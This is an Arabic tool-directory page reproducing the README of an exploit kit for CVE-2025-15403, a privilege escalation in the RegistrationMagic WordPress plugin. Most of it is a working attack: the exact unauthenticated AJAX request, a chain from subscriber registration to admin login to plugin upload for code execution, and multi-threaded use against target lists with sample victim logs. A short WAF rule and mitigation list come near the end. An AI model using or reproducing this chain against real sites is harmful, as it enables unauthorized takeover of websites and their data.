Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/nxploited/cve-2025-15403
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubnxploited/cve-2025-15403

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - تصعيد امتياز غير مصرح به عبر admin_order

عرض المستودع
12منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - تصعيد صلاحيات غير مصادق عليه عبر admin_order

root@kitploit:~
 ,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'      , ;--'   ,.  ,-.  ,--, 
/    |  /  |           ) /  /\    ) |        '| |     / | /  /\   /  
|    | /   |-   ---   /  | / |   /  `-.  ---  | `-.  '--| | / |  `.  
\    |/    |         /   \/  /  /      )      |    )    | \/  /    ) 
 `-' '     `--'     '--'  `-'  '--' `-'       ' `-'     '  `-'  `-'  

Telegram CVE CVSS Python License


📡 المعلومات الاستخباراتية تُنشر هنا أولاً. تابع @KNxploited على تيليغرام — كشف دقيق لثغرات CVE، واستغلالات جاهزة، وأبحاث متعمقة في الثغرات الأمنية. القناة لمن لا ينتظر الأخبار — بل يصنعها.


🧠 نظرة عامة

CVE-2025-15403 هي ثغرة حرجة بتصنيف CVSS 9.8 لتصعيد الصلاحيات في إضافة RegistrationMagic لووردبريس.

يكمن الخلل في دالة add_menu الخاصة بالإضافة، والتي يمكن الوصول إليها بدون مصادقة عبر إجراء AJAX rm_user_exists. عن طريق حقن سلاش فارغ في باراميتر order إلى جانب علامة enable_admin_order=yes، يتمكن المهاجم من التلاعب بمنطق توليد القوائم الداخلية للإضافة. وعند بناء قائمة المشرف لاحقًا، تقوم الإضافة بصمت باستدعاء add_cap('manage_options') على الدور المستهدف — مما يرفع أي حساب من مستوى المشترك إلى صلاحية إدارية كاملة.


💀 تحليل متعمق للثغرة

السبب الجذري هو قابلية الوصول إلى دالة add_menu بدون مصادقة من خلال rm_user_exists، بالإضافة إلى عدم التحقق من صحة سلاش admin_order:

root@kitploit:~
// مسجلة بدون فحص صلاحية
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);

public function rm_user_exists_handler() {
    $slug     = sanitize_text_field($_POST['rm_slug']);
    $order    = $_POST['order'];   // ← يتحكم به المستخدم، غير منسَّق
    $role_key = /* مستخرج من POST */;
    $enable   = $_POST['enable_admin_order'];

    if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
        // يخزن ترتيبًا يتحكم به المهاجم في خيارات الإضافة
        update_option('rm_admin_order', $order);  // مثلا ",menu1" → سلاش فارغ أول
    }
}

// لاحقًا، عند بناء قائمة المشرف...
public function add_menu() {
    $order = get_option('rm_admin_order');  // ← مسموم من المهاجم
    $slugs = explode(',', $order);

    foreach ($slugs as $slug) {
        if (empty($slug)) {
            // السلاش الفارغ يؤدي إلى منح صلاحية غير مشروطة
            $role->add_cap('manage_options');  // ← تمت إضافة صلاحية إدارية كاملة
        }
    }
}

لماذا هذا حرج:

  • wp_ajax_nopriv_* يعني صفر مصادقة مطلوبة لتسميم الخيار
  • السلاش الفارغ في order=,menu1 يجتاز فحص empty()، مما يؤدي إلى استدعاء add_cap('manage_options')
  • manage_options هي أعلى صلاحية في ووردبريس — تعادل المسؤول
  • أي حساب مشترك موجود يكتسب فورًا صلاحيات مسؤول كاملة عند تحميل قائمة المشرف التالية
  • مرحلة AJAX لا تتطلب أي مصادقة مسبقة — مما يجعل السلسلة الكاملة شبه خالية من العوائق

⚔️ سلسلة الاستغلال

root@kitploit:~
╔══════════════════════════════════════════════════════════════════════════╗
║  المرحلة 1 — تسميم الخيار بدون مصادقة                                   ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-admin/admin-ajax.php

  action            = rm_user_exists
  rm_slug           = rm_options_admin_menu
  order             = ,menu1              ← عنصر أول فارغ = سلاش فارغ
  _Subscriber       = 1                  ← مفتاح الدور المستهدف
  restore           = false
  enable_admin_order= yes

الرد: HTTP 200 (أي رد غير محظور يعني أن الخيار قد سُمّم)

  ↓ تقوم الإضافة بتخزين order=",menu1" في wp_options
  ↓ بناء قائمة المشرف التالي يؤدي إلى استدعاء add_cap('manage_options') على دور المشترك

╔══════════════════════════════════════════════════════════════════════════╗
║  المرحلة 2 — الحصول على حساب (مشترك)                                     ║
╚══════════════════════════════════════════════════════════════════════════╝

الخيار أ — التسجيل عبر نموذج تسجيل الموقع (الوضع 0):
  GET  /wp-login.php?action=register  → كشف ذكي للنموذج
  POST → إنشاء حساب مشترك
  بيانات الدخول: NXploited / xplpass123

الخيار ب — استخدام حساب مشترك موجود.

╔══════════════════════════════════════════════════════════════════════════╗
║  المرحلة 3 — تسجيل الدخول + جني الصلاحيات                                ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-login.php
  log = NXploited
  pwd = xplpass123
  ↓
حساب المشترك الآن يحمل manage_options → لوحة تحكم المسؤول الكاملة متاحة

╔══════════════════════════════════════════════════════════════════════════╗
║  المرحلة 4 — تحقق عميق وتنفيذ أكواد (RCE) عبر رفع إضافة                  ║
╚══════════════════════════════════════════════════════════════════════════╝

GET  /wp-admin/                          → لوحة تحكم المسؤول متاحة ✔️
GET  /wp-admin/plugin-install.php        → صفحة تثبيت الإضافات متاحة ✔️
POST /wp-admin/update.php?action=upload-plugin
     pluginzip = Nxploited.zip           → تم رفع وتنفيذ الإضافة ✔️
GET  /wp-content/plugins/Nxploited/hello.php
     الرد يحتوي على "Nxploited"         → تأكيد تنفيذ الأكواد (RCE) ✔️

🎯 أوضاع التشغيل

توفر مجموعة الاستغلال هذه ثلاثة أوضاع متميزة لتغطية دورة الهجوم الكاملة:


⚙️ المتطلبات

root@kitploit:~
pip install requests colorama urllib3

مطلوب Python 3.8+. يُوصى بـ Python 3.10+ (يستخدم تلميحات الاتحاد X | Y).


📂 هيكل الملفات

root@kitploit:~
CVE-2025-15403/
├── CVE-2025-15403.py                 # مجموعة الاستغلال الرئيسية
├── list.txt                          # عناوين URL المستهدفة — عنوان واحد لكل سطر
│
├── rm_register_results.txt           # الوضع 0: عمليات التسجيل الناجحة
├── rm_exploit_results.txt            # الوضعين 1 & 2: سجل إطلاق البدائية
├── rm_admin_verify.txt               # الوضع 2: سجل الدخول + التحقق من المسؤول
├── rm_plugin_uploads.txt             # الوضع 2: سجل محاولات رفع الإضافات
│
├── rm_admin_dashboard_success.txt    # ✔ المواقع التي تم تأكيد لوحة تحكم المسؤول فيها
├── rm_plugin_install_access.txt      # ✔ المواقع التي يمكن الوصول لصفحة تثبيت الإضافات فيها
└── rm_plugin_rce_success.txt         # ✔ المواقع التي تم تأكيد RCE عبر رفع إضافة فيها

ملفات _success الثلاثة في الأسفل تمثل مستويات اختراق متدرجة — كل منها يُكتب بشكل مستقل بمجرد تأكيد حالته.


🚀 الاستخدام

الخطوة 1 — تجهيز الأهداف

أنشئ list.txt بحيث يحتوي على عنوان URL أو اسم مضيف واحد لكل سطر:

root@kitploit:~
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com

أسماء المضيفين بدون مخطط (scheme) تُسبق تلقائيًا بـ https://. تثبيتات ووردبريس في مجلدات فرعية (مثل /wordpress) يتم كشفها ومعالجتها تلقائيًا.


الخطوة 2 — تشغيل المجموعة

root@kitploit:~
python CVE-2025-15403.py

سيُطلب منك تفاعليًا جميع المعاملات. مثال لجلسة الوضع 2:

root@kitploit:~
Select mode (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 20
HTTP timeout (seconds) [10]: 12
Role key to escalate (e.g. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Username to login with (e.g. NXploited) [NXploited]: NXploited
Password for that user [xplpass123]: xplpass123
Output file for admin verification [rm_admin_verify.txt]: rm_admin_verify.txt
Output file for plugin upload tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Send primitive before login in mode 2? (yes/no) [yes]: yes

الخطوة 3 — مراقبة المخرجات المباشرة

root@kitploit:~
[14:31:01] info | Mode 2: Exploit + Login + Deep Verify | Targets: 200
[14:31:02] SESSION | https://target.com | PRIM: OK   | REG: SKIP | LOGIN: OK   | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK   | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: -    | ACCESS: NO HIT

📊 مرجع ملفات المخرجات

rm_admin_dashboard_success.txt

المواقع التي تمكن حساب المشترك فيها من الوصول إلى /wp-admin/ بعد تصعيد الصلاحيات:

root@kitploit:~
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard

rm_plugin_install_access.txt

المواقع التي كانت صفحة تثبيت الإضافات متاحة فيها (تأكيد manage_options):

root@kitploit:~
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access

rm_plugin_rce_success.txt

المواقع التي تم رفع وتنفيذ إضافة اختبارية فيها — تأكيد RCE:

root@kitploit:~
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload

🖥️ مرجع معاملات السكريبت


🔬 منطق التحقق (الوضع 2)

يقوم الوضع 2 بـ تحقق متدرج من ثلاث مراحل — كل مرحلة مستقلة وتكتب ملف النتائج الخاص بها:

root@kitploit:~
المرحلة 1 — لوحة تحكم المسؤول
  GET /wp-admin/
  GET /wp-admin/index.php
  GET /wp-admin/users.php
  التحقق من وجود: "dashboard", "adminmenu", "manage_options", "plugins.php"
  ✔ → يكتب إلى rm_admin_dashboard_success.txt

المرحلة 2 — الوصول لصفحة تثبيت الإضافات
  GET /wp-admin/plugin-install.php
  GET /wp-admin/plugin-install.php?tab=upload
  التحقق من وجود: "upload-plugin", "plugin-upload-form", "pluginzip"
  ✔ → يكتب إلى rm_plugin_install_access.txt

المرحلة 3 — رفع وتنفيذ إضافة حقيقية (إثبات RCE)
  استخراج _wpnonce من صفحة تثبيت الإضافات
  POST /wp-admin/update.php?action=upload-plugin
       pluginzip = Nxploited.zip (مُولّد في الذاكرة)
  GET  /wp-content/plugins/Nxploited/hello.php
  التحقق من أن جسم الرد يحتوي على "Nxploited"
  ✔ → يكتب إلى rm_plugin_rce_success.txt

كل مرحلة تنجح تُسجَّل بشكل مستقل — الهدف الذي يجتاز المرحلة 1 ولكن ليس المرحلة 3 لا يزال يُحتجز في rm_admin_dashboard_success.txt.


🔍 محرك التسجيل الذكي (الوضع 0)

يستخدم الوضع 0 محلّل نماذج HTML مخصصًا لكشف وإرسال نماذج تسجيل ووردبريس تلقائيًا — بما في ذلك نماذج RegistrationMagic المخصصة:

root@kitploit:~
عناوين URL الاستكشافية (بالترتيب):
  /wp-login.php?action=register
  /register/
  /signup/
  /wp-signup.php
  /wp-login.php

لكل صفحة:
  → تحليل جميع عناصر <form>
  → تسجيل نقاط لكل نموذج (0–200 نقطة):
      +100  وجود حقلي "user_login" و "user_email"
      + 60  وجود حقول شبيهة بالبريد الإلكتروني واسم المستخدم
      + 30  حقول إدخال مسبوقة بـ rm_* (خاصة بـ RegistrationMagic)
      + 20  id/class النموذج يحتوي على "register" / "signup"
      + 10  نص الصفحة يذكر "register" / "sign up"
  → إرسال النموذج الأعلى نقاطًا (الحد الأدنى: 40+)
  → التحقق من النجاح عبر جسم الرد / عنوان URL إعادة التوجيه

📊 بصمة الكشف

النمط الشبكي الناتج عن الاستغلال — للمدافعين ومؤلفي أنظمة WAF/IDS:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes

قاعدة WAF / IDS (شبه كود):

root@kitploit:~
IF  request.method == POST
AND request.path   == "/wp-admin/admin-ajax.php"
AND request.body   CONTAINS "rm_user_exists"
AND request.body   CONTAINS "rm_options_admin_menu"
AND request.body   CONTAINS "enable_admin_order=yes"
THEN BLOCK + ALERT (محاولة تصعيد صلاحيات — CVE-2025-15403)

كشف إضافي — تسميم الخيار:

root@kitploit:~
مراقبة جدول wp_options:
  IF option_name = "rm_admin_order"
  AND option_value يبدأ بـ ","
  THEN تنبيه — احتمال استغلال CVE-2025-15403

🛡️ التخفيف والعلاج

إذا كنت مالك موقع، مطور، أو مدافع، تحرك فورًا:

  • ✅ قم بتحديث RegistrationMagic إلى إصدار أعلى من 6.0.7.1
  • ✅ قم بتعطيل وحذف الإضافة حتى يتوفر إصدار مصحح مؤكد
  • ✅ دقّق جدول wp_options — افحص قيمة rm_admin_order بحثًا عن إدخالات مشبوهة (مثلًا تبدأ بـ ,)
  • ✅ دقّق جميع مستخدمي ووردبريس — أزل أو اخفض صلاحية أي حسابات غير مصرح بها لديها صلاحية manage_options
  • ✅ أضف فحوص صلاحية لجميع معالجات wp_ajax_nopriv_* — لا تعرّض أبدًا دوال كتابة الخيارات بدون مصادقة
  • ✅ تحقق وصحّح باراميتر order — ارفض القيم التي تحتوي على أجزاء سلاش فارغة
  • ✅ احظر طلبات POST غير المصادق عليها إلى admin-ajax.php التي تحتوي على rm_options_admin_menu على مستوى WAF
  • ✅ راقب سجلات ووردبريس والخادم بحثًا عن استدعاءات إجراء AJAX rm_user_exists من مصادر غير مصادق عليها

⚠️ إخلاء المسؤولية

root@kitploit:~
هذه الأداة مقدمة بدقة لأغراض تعليمية واختبار الاختراق المصرح به
والبحث الأمني فقط.

بتنزيل أو تنفيذ أو تعديل هذا السكريبت، فإنك توافق صراحة على:

  • أنك تحمل إذنًا صريحًا وخطيًا من مالك كل نظام تستهدفه.
    لا استثناءات. لا افتراضات.

  • أنك تعمل ضمن نطاق رسمي ومصرح به لاختبار الاختراق
    أو بيئة مختبر خاضعة للرقابة تمتلكها.

  • أنك لن تنشر هذه الأداة ضد أي نظام أو شبكة أو
    بنية تحتية دون إذن قانوني موثق.

  • Nxploited وجميع المساهمين لا يتحملون أي مسؤولية عن
    الاستخدام غير المصرح به، أو فقدان البيانات، أو تلف النظام، أو الإجراءات القانونية، أو الملاحقة الجنائية
    الناشئة عن استخدام هذه الأداة بأي شكل من الأشكال.

الاستخدام غير المصرح به لهذا الاستغلال يشكل جريمة جنائية بموجب:
  — قانون الاحتيال وإساءة استخدام الحاسوب (CFAA)، الولايات المتحدة
  — قانون إساءة استخدام الحاسوب (CMA)، المملكة المتحدة
  — توجيه الاتحاد الأوروبي 2013/40/EU بشأن الهجمات ضد نظم المعلومات
  — قانون مكافحة الجرائم الإلكترونية السعودي (رقم م/17)
  — وجميع التشريعات الوطنية والدولية المكافئة لمكافحة الجرائم الإلكترونية.

استخدم بمسؤولية. اخترق أخلاقيًا. افصح بمسؤولية.

👤 المؤلف

الاسم الحركيNxploited
تيليغرام@KNxploited
GitHubgithub.com/Nxploited

🔔 تابع @KNxploited على تيليغرام ثغرات CVE جديدة. استغلالات جاهزة. لا ضوضاء. لا تأخير. القناة حيث يبقى الباحثون الجادون على أهبة الاستعداد.


مُصمَّم بدقة بواسطة Nxploited · لأبحاث أمنية مصرح بها فقط · حرج بتصنيف CVSS 9.8
تنزيل الأداة
الحقلالتفاصيل
معرّف CVECVE-2025-15403
الإضافةRegistrationMagic
السلاشregistrationmagic / custom-registration-form-builder-with-submission-manager
الإصدارات المتأثرةجميع الإصدارات حتى 6.0.7.1 شاملاً
نوع الثغرةتصعيد صلاحيات بدون مصادقة
متطلبات الهجوممرحلة AJAX: لا شيء. الاستغلال: حساب مشترك
متجه الهجومالشبكة
درجة CVSS 3.19.8 حرجة
متجه CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
الأثرسيطرة كاملة على ووردبريس كمسؤول
الباحثNxploited
الوضعالاسمالوصف
0تسجيل فقطكشف ذكي لنماذج ووردبريس + تسجيل حساب مشترك
1استغلال فقطإطلاق البدائية AJAX غير المصادق عليها لتسميم admin_order
2استغلال + دخول + تحققسلسلة كاملة: بدائية → دخول → لوحة تحكم المسؤول → تثبيت إضافة → RCE
التبعيةالغرض
requestsجلسات HTTP، التعامل مع الكوكيز، تتبع إعادة التوجيه
coloramaإخراج طرفية ملون عبر المنصات
urllib3إخفاء تحذيرات SSL للشهادات الذاتية التوقيع
concurrent.futuresتجمع خيوط للمسح متعدد الأهداف عالي الإنتاجية
zipfileتوليد ملف ZIP لإضافة اختبارية في الذاكرة للتحقق من RCE
html.parserكشف ذكي لنماذج التسجيل واستخراج الحقول
اللونالعلامةالمعنى
🔵 سماويinfoمعلوماتي — بداية الوضع، الإعدادات
🟢 أخضرokنجاح كامل — تم تأكيد صلاحية المسؤول أو RCE
🟡 أصفرwarnنتيجة جزئية — البدائية ناجحة لكن فشل الدخول، إلخ.
🔴 أحمرerrفشل صارم — ملف غير موجود، استثناء، محظور
المعاملالافتراضيالوصف
الوضع (Mode)0وضع الهجوم: 0 = تسجيل، 1 = استغلال، 2 = سلسلة كاملة
ملف الأهدافlist.txtملف يحتوي على عناوين URL المستهدفة
عدد الخيوط5 (لا حد أقصى ثابت)عدد عمال ThreadPoolExecutor المتزامنين
المهلة (Timeout)10 ثوانٍمهلة طلب HTTP لكل طلب
مفتاح الدور_Subscriberدور ووردبريس لتصعيده (_Editor, _Author, إلخ.)
اسم المستخدمNXploitedالحساب للتسجيل / الدخول به
كلمة المرورxplpass123كلمة مرور الحساب
إرسال البدائيةyesما إذا كان سيتم إطلاق مرحلة AJAX قبل الدخول في الوضع 2